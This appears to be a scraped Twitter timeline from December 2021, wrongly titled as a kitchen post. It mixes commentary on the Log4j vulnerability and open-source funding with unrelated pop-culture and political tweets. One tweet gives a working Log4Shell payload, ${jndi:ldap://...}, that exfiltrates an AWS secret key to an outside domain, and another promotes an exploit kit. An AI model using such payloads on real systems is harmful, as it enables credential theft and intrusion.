Everything I Made In My Kitchen For The Month Of November 🎞⏲

🐘 (@mariyyum)Sun, 12 Dec 2021 22:52 GMT

A project with a footprint like Log4j is not possible to avoid as a transient dependency even if you don’t directly import it. Log4j is a canonical logging utility for a huge ecosystem. Its current radius is beyond doing due diligence.

Post details

The log4j case is not a showcase for bad OSS funding. It is a showcase for naive and cheap users not doing their due diligence, code review and testing before using components. Remember goto fail? Silly bugs are shipped even with the greatest funding.

Daniel 🥌 Stenberg (@bagder)Mon, 13 Dec 2021 15:05 GMT

Jaana Dogan ヤナ ドガン (@rakyll)Mon, 13 Dec 2021 16:26 GMT

JUST TOM HOLLAND AND ZENDAYA SHARING THE SAME BRAIN CELL

gecs⁷🥀 (@agustmoon19)Sun, 12 Dec 2021 15:01 GMT

filling the room with negative energy until i have what they have

Post details

JUST TOM HOLLAND AND ZENDAYA SHARING THE SAME BRAIN CELL

gecs⁷🥀 (@agustmoon19)Sun, 12 Dec 2021 15:01 GMT

flik (@jakegyllenhalal)Sun, 12 Dec 2021 21:18 GMT

“you wouIdn’t survive a cod lobby 🤓“ u can’t survive a 5 min conversation w a girl

d🐬n (@ClitPizza)Mon, 13 Dec 2021 03:27 GMT

https://twitter.com/bagder/status/1470409522229428225

My team could spend an entire year reviewing the code from one “npm install”. I don’t think it’s really feasible to do code review across all OSS components. But funding? Absolutely.

April King 🌀 (@CubicleApril)Mon, 13 Dec 2021 15:11 GMT

Just added support to LDAP Serialized Payloads in the JNDI-Exploit-Kit. This attack path works in *ANY* java version as long the classes used in the Serialized payload are in the application classpath. Do not rely on your java version being up-to-date and update your log4j ASAP!

Márcio Almeida (@marcioalm)Mon, 13 Dec 2021 11:54 GMT

It’s very hard to add tests to code which hasn’t been written to aid testing

Richard Startin (@richardstartin)Wed, 08 Dec 2021 14:45 GMT

a security flow chart: are you about to blame the users? ➡️ NO are you about to blame developers? ➡️ NO are you about to blame overworked, underpaid open source maintainers? ➡️ NO

Ian Coldwater 📦💥 (@IanColdwater)Mon, 13 Dec 2021 16:43 GMT

https://twitter.com/slutpilled/status/1470438135058374664

gonna make this as simple as possible: i'm a woman. you being attracted to me as a man would imply heterosexual attraction

violet valentine (@slutpilled)Mon, 13 Dec 2021 17:01 GMT

i know straight men watch trans porn because they're always trying to validate their sexuality to me

violet valentine (@slutpilled)Mon, 13 Dec 2021 16:59 GMT

https://twitter.com/jpaulreed/status/1469770852677816320

I'll just leave this right here: whoownsyoursoftwaresupplychain.com

J. Paul Reed (@jpaulreed)Sat, 11 Dec 2021 21:16 GMT

https://twitter.com/zackkanter/status/1470026849023631369

Local dev a first class consideration (long way to go now) along with IaC (getting better but still often afterthought).

Brian LeRoux (@brianleroux)Sun, 12 Dec 2021 15:15 GMT

If AWS were rebuilt today, what high-level incidental complexity do you wish would be eliminated via different design decisions? E.g. issues with ARNs or URL structure, or even ‘I want regions for data sovereignty, not resiliency.’ Bonus for examples creating toil inside AWS.

Zack Kanter (@zackkanter)Sun, 12 Dec 2021 13:44 GMT

https://twitter.com/neverpilled/status/1469675906893594628

They took 2 pounds of weed 2 hand guns and $70 (SEVENTY!!!) off the street and posing like they just took down Pablo Escobar 😂😂😂😂😂😂😂😂😂😂

The Negromancer (@kokujin37)Sat, 11 Dec 2021 21:29 GMT

There’s not a single line in “Santa claus is coming to town” that makes it sound like a good thing. If it wasn’t for the jaunty tune I’d interpret it the same way as a warning the 4 horsemen of the apocalypse were arriving.

Andrew Nadeau (@TheAndrewNadeau)Mon, 13 Dec 2021 04:21 GMT

https://twitter.com/hillelogram/status/1470202746649423875

there are literal generations of coders who know that RMS is a creep but have no idea what the FSF does, or know that GNU/Linux is a meme but not why they are supposed to have ever cared

Ian Coldwater 📦💥 (@IanColdwater)Mon, 13 Dec 2021 01:35 GMT

https://twitter.com/seldo/status/1470031613174042626

Open source is free as in puppy.

Laurie Voss (@seldo)Sun, 12 Dec 2021 16:26 GMT

you want me to make a decision? the thing that killed chidi anagonye?

salwa (@evermorevan)Sun, 12 Dec 2021 18:26 GMT

I read once that people who live alongside orangutans have a belief/legend that orangutans can actually speak, but they refuse to because humans would put them to work if they knew. I think about that a lot.

i bless the rains down in castamere (@Chinchillazllla)Sun, 12 Dec 2021 16:27 GMT

https://twitter.com/jk_rowling/status/1470092815506063365

You literally have a castle and you spend your time doing this

Rob (@robrousseau)Mon, 13 Dec 2021 01:47 GMT

JK Rowling trying to make trans women out to be rapists is a new low. It’s part of the TERF tactics and it goes to show how far down the transphobia rabbit hole she’s gone. Trans women are not rapists. Trans women are women, who just want a chance to live like any other woman.

Erin, Trail Mom (@ErinInTheMorn)Mon, 13 Dec 2021 00:17 GMT

https://twitter.com/jk_rowling/status/1470092815506063365

It’s striking that J.K.Rowling only has the energy to speak out about sexual assault when it’s in service of a spurious moral panic around trans people. At the end of the day, you do just have to conclude that she’s a common garden reactionary.

Scrooge McDuck 📕 (@amphitryoniades)Sun, 12 Dec 2021 23:15 GMT

jk rowling is a bad person w/ bad politics, a childish understanding of feminism and a truly ugly spirit. it’s embarrassing to look at her tweets. it’s upsetting to watch her harm marginalized people. it’s infuriating to me as a feminist, as an assault survivor and as a woman.

jourdain searles (@judysquirrels)Mon, 13 Dec 2021 07:09 GMT

https://twitter.com/BlueLightAlarm/status/1470333871476641793

Omg stop they’ve made 1 tweet

Adam (@adamrbrts)Mon, 13 Dec 2021 10:06 GMT

A rare insightful comment on the orange site: news.ycombinator.com/item?id=295252… "Open source is not broken".

Danack (@MrDanack)Sun, 12 Dec 2021 22:11 GMT

The eruption of The Fagradalsfjall volcano, Iceland. Photo by Arnar Kristjansson

Diane Doniol-Valcroze (@ddoniolvalcroze)Sun, 12 Dec 2021 17:07 GMT

To everyone astonished at how wide-spread Java usage really is: what you've just seen is just the stuff using Log4J2. ;)

Lars Rosenquist (@larsrosenquist)Sun, 12 Dec 2021 11:24 GMT

don't forget you can get those sweet environment variables ${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.mydogsbutt.com}

DilDog (@dildog)Sat, 11 Dec 2021 21:48 GMT

A whole lot of engineers worked all weekend and deserve the week off. Friendly reminder that you should give it to them.

emily freeman (@editingemily)Mon, 13 Dec 2021 06:06 GMT

Earliest evidence we’ve found so far of #Log4J exploit is 2021-12-01 04:36:50 UTC. That suggests it was in the wild at least 9 days before publicly disclosed. However, don’t see evidence of mass exploitation until after public disclosure.

Matthew Prince 🌥 (@eastdakota)Sat, 11 Dec 2021 22:47 GMT

I’ve tried very hard to find out who made this but it sadly just pops up on Imgur without any credits. So, with that disclaimer made, I desperately need people to know that I *love* this.

Charble Garble 🏳️‍🌈🇸🇪 (@charlottegore)Sat, 11 Dec 2021 21:39 GMT

Been thinking about the maintainers of log4j2 a ton this weekend. I'm so thankful for open source. While I get to maintain projects with support from my employer - most do this entirely with spare time Maintainers deserve our thanks (and sponsorships!) for their work 🤗🙏

Jeff Hollan (@jeffhollan)Sun, 12 Dec 2021 17:16 GMT

Something I do every December is clear out my Pocket queue and YouTube watch later list I spend a lot of time reading all the articles I’ve been putting off or I delete them It feels so nice starting a new year with no backlog. Highly recommend 🤘

Justin Garrison (@rothgar)Mon, 13 Dec 2021 06:23 GMT

Please tell me I'm not the only one who sees it. 😭 You see it, right? RIGHT?

Marjorie🧁 (@NotLargeMarge1)Thu, 09 Dec 2021 22:35 GMT

uh they absolutely do

Luke Plunkett (@LukePlunkett)Sun, 12 Dec 2021 20:38 GMT

This Christmas we're burning Yule Log4js

Richard Westmoreland  (@RSWestmoreland)Fri, 10 Dec 2021 21:18 GMT

Real talk: Garak was such a great combination of character & actor that he almost transcended the show & even Star Trek itself. They basically put an ambiguously gay John le Carré antihero into the middle of a space opera.

Post details

I'm dead.

MTN DEW: Spider Juice (@MtnDewJitsu)Sun, 12 Dec 2021 13:42 GMT

Zack Stentz (@MuseZack)Mon, 13 Dec 2021 02:23 GMT

I'm dead.

MTN DEW: Spider Juice (@MtnDewJitsu)Sun, 12 Dec 2021 13:42 GMT

Interviewer: Can you explain the gap in your CV? Me: I spent 6 hours formatting it in Google Docs and you've opened it in Word.

Clarissa Maycock (@ClarissaDM)Fri, 03 Sep 2021 10:40 +0000

We don’t need everyone to upgrade log4j, just enough for herd immunity to takeover

Ricky (@rickhanlonii)Sun, 12 Dec 2021 16:55 GMT

https://twitter.com/liran_tal/status/1469770636356722688

Pretty much every day for the last 10 years.

Dio Rettori (@rettori)Sat, 11 Dec 2021 20:58 GMT